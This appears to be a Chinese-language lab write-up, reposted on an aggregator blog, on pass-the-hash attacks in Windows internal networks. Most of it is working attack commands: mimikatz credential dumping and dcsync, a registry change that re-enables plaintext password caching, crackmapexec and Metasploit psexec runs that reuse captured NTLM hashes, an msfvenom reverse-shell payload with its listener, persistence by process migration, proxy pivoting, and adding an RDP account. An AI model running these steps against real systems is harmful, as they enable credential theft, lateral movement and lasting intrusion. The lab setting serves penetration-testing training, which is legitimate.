内网渗透之哈希传递攻击
Posted Zer0o
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之哈希传递攻击相关的知识,希望对你有一定的参考价值。
(作业记录
0x01
利用VMware的克隆功能克隆一台win7,取名为win7-2。
0x02
启用win7和win7-2的系统管理员 Administrator 账户及设置密码
法一
启用管理员账号administrator
设置密码为123456
法二
打开开始菜单,右击“计算机”,选择“管理”。
在“计算机管理”窗口,依次定位到“本地用户和组->用户”。单击展开“用户”项。
在右边的细节窗口中,右击“Administrator”,选择“属性”。 默认状态下,Administrator 属性窗口中“账户已禁用”项是勾选着的。我们需要取消其勾选,然后按“确定”保存更改。
0x03
任选上课中介绍的一款工具读取win7的本地账号和对应的NTLM hash值。
Windows账号密码存放路径
路径:C:\\Windows\\System32\\config\\sam
在SAM文件中所存储的是密码的hash值,而不是明文密码。
本地身份认证过程
Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出。
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略。
首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash值,对SAM数据库进行比较认证。
获取本地数据库信息的方法可以分为两种:
这个实验只演示Mimikatz获取本地信息
一.在线读取SAM数据库:
1.Mimikatz抓取密码信息
2.Pwdump抓取
3.Powershell抓取
二.离线获取SAM数据库(获取当前系统的sam,在另一个系统读取):
1.注册表导出sam。
2.Ninjiacopy
3.procdump
先切换登录用户administrator
使用mimikatz读取用户密码
用管理员打开mimikatz,输入privilege::debug
获取调试权限。
在 windows⾥,调试权限可以⽤来调试进程,甚至是调试内核。对于 mimi-katz的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以mimikatz能抓取hash或者明码的一个必要条件拥有调试程序的权限。
输入命令sekurlas::logonPasswords
抓取用户的NTLM和密码123456
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登录到其他RDP终端的账户和密码
根据NTLM解密网站解密hash值,依旧可以得出密码123456
sekurlsa模块
sekurlsa::logonpasswords
抓取用户NTLM哈希
sekurlsa::msv
加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
kerberos模块
列出系统中的票据
kerberos::list
kerberos::tgt
清除系统中的票据
kerberos::purge
导入票据到系统中
kerberos::ptc 票据路径
lsadump模块
在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root
(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam
wdigest
WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据
mimikatz #privilege::debug
mimikatz #sekurlsa::wdigest
Mimikatz抓取用户明码的防御手段及解决手段
虽然利用mimikatz可以较为方便的获取当前登陆用户存储在内存中的明码。但是在安装了KB2871997补丁、系统为win10或2012R2以上或者调整了组策略时,默认在内存缓存中禁止保存明文密码,mimikatz就无法抓取明文密码。
但可以通过修改注册表的方式抓取明文。
reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取
Mimikatz在线读取所有用户信息
privilege::debug
token::elevate
lsadump::sam
可以查看所有本地用户的相关信息,包括密码的NTLMHash 值,通过对HTLM hash值的破解即可获得密码。
0x04 哈希传递攻击
在kali上利用在win7上得到的账号信息对win7-2进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。
原理
哈希传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接利用已经得到的账户密码值来访问远程主机或服务,而不需要提供明文密码。
实现
哈希传递是内网横向移动时非常常用的一种手法,支持PTH的工具很多,例如MSF、powershell脚本、mimikatz等。
漏洞主机:win7-2,IP地址:192.168.1.4
攻击主机:Kali,IP地址:192.168.1.9
使用Crackmapexec进行PTH
crackmapexec smb 被攻击ip -u administrator -H 被攻击ip的用户NTLM即hash值 -x whoami
Metasploit
初始化及启动
在使用之前我们需要对Metasploit进行初始化,
并启动:
systemctl start postgresql
systemctl enable postgresql
启动专用的数据库,并设置为每次开机自动启动
msfconsole
或者 点击kali屏幕左上角图标->选择 08->点击Metasploit framework
( msf == Metasploit framework)
Metasploit常用命令
search //按关键字查找
use //选择对应模块并使用
//<1>在use 中想退出模块不退出框架使用 back命令;
//<2> 也可以使用info 查看使用模块的详细信息
show options //查看该模块需要配置的参数
run //运行模块
msf的使用法则三步走:
- 查找对应可使用模块;
- 使用模块并配置模块必选项;
- 运行模块。
而msf中共有6大模块,分别是:
- 渗透攻击模块Exploit Modules:攻击漏洞
- 辅助模块Auxiliary Modules:扫描
- 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
- 编码模块Encoders
- 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
使用Metasploit进行PTH:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
输入命令msfconsole
运行msf
用psexec执行系统命令 exploit/windows/smb/psexec
show options
将rhost设置为被攻击ip
将smbuser设置为administrator
将smbpass设置为administrator用户的LM-hash和NTLM-hash(冒号前面为LM,后面为NTLM
set smbpass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
LM为44efce164ab921caaad3b435b51404ee
NTLM为32ed87bdb5fdc5e9cba88547376818d4
run进入meterpreter即为hash传递攻击成功
我们输入: shell即可切换到目标主机的windows cmd_shell里面,再net user发现会乱码
目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
chcp 65001
再net user,可以查看所有本地用户
遇到的问题
-
PTH攻击成功后,找不到在哪net user,查看Metasploit相关使用教程,才知道进入meterpreter之后,先输入shell指令,即可切换到目标主机的windows cmd_shell里面,再输入net user即可
-
net user的时候会出现目标主机cmd_shell字符乱码。解决方法:设置目标主机命令行的字符编码,65001是UTF-8
内网渗透测试小Demo-哈希传递攻击
环境搭建
Win Server2003
设置账户密码
右击我的电脑,选择管理,添加本地用户和组,重置admin的密码为123456,方便之后的操作
在vmware中为虚拟机添加一个网卡,网络连接选择LAN区段
开机后手动设置IP地址为 10.0.0.2/24
ipconfig
Win Server2008
虚拟机网络连接选择LAN区段,开机后手动设置IP地址为 10.0.0.3/24
注:两台虚拟机网络连接也可以选择仅主机模式也可以,具体配置自行百度
拿shell
已知win werver2003存在文件上传漏洞,已经被getshell
使用MSF生成后门文件
在Kali生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe
生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
等win服务器那边点击了exe文件,这边就上线了
收集信息
-
系统信息
sysinfo
-
查看路由表信息
route
-
查看进程
ps
如果失败,可以进入shell中使用tasklist查看
注入进程维持权限
一般注入explorer.exe进程
migrate 2424
注入成功后每次启动explorer.exe进程都会启动shell
收集内网信息
-
查看路由表
run autoroute -p
-
检测内网存活
# 通过ping命令 run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24 # 通过arp协议 run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 # 使用info查看模块信息 info post/multi/gather/ping_sweep
-
代理nmap扫描
添加路由
run autoroute -s 10.0.0.0/24 background use auxiliary/server/socks4a set SRVPORT 10044 run
修改配置文件
vi /etc/prxoychains.conf
注释掉原来的,添加一条新的
socks4 192.168.179.128 10044
这样的话路由就添加完成了
使用nmap逐个扫描上条命令检测出来的IP
proxychains nmap -sT -Pn 10.0.0.2 --open -oN 10.0.0.0.txt 保存至10.0.0.0.txt中
通过端口扫描发现开放了445端口,尝试攻击
哈希传递攻击
PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码
使用MSF获取hash值
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
............
选择payload,使用winserver2003的账户密码hash,攻击winserver2008,因为内网环境中存在大量密码一样的主机,当我们获得了一台的hash后,可以通过该hash进行横向渗透
background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
show options -->查看配置选项
set RHOST 10.0.0.3 -->设置攻击目标IP,端口默认445
set SMBUser Administrator -->设置账号为wing
set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
攻击得到另外的session
hash解密网站:https://www.objecif-securite.ch/ophcrack
后半段为加密数据
mimikatz
在msf中可以直接载入mimikatz
meterpreter > load mimikatz
meterpreter > msv
meterpreter > kerberos
使用命令开启RDP
run getgui -e
增加帐号
run getgui -u moonsec -p moonsec
端口转发
portfwd add -l 5555 -p 3389 -r 192.168.0.111
rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
proxychains rdesktop -u Administrator -p 123456 10.10.10.134
推荐阅读
以上是关于内网渗透之哈希传递攻击的主要内容,如果未能解决你的问题,请参考以下文章